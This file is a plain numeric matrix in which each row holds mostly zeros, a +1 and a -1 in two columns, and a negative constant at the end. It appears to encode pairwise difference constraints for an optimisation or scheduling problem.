0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -54.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -88.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
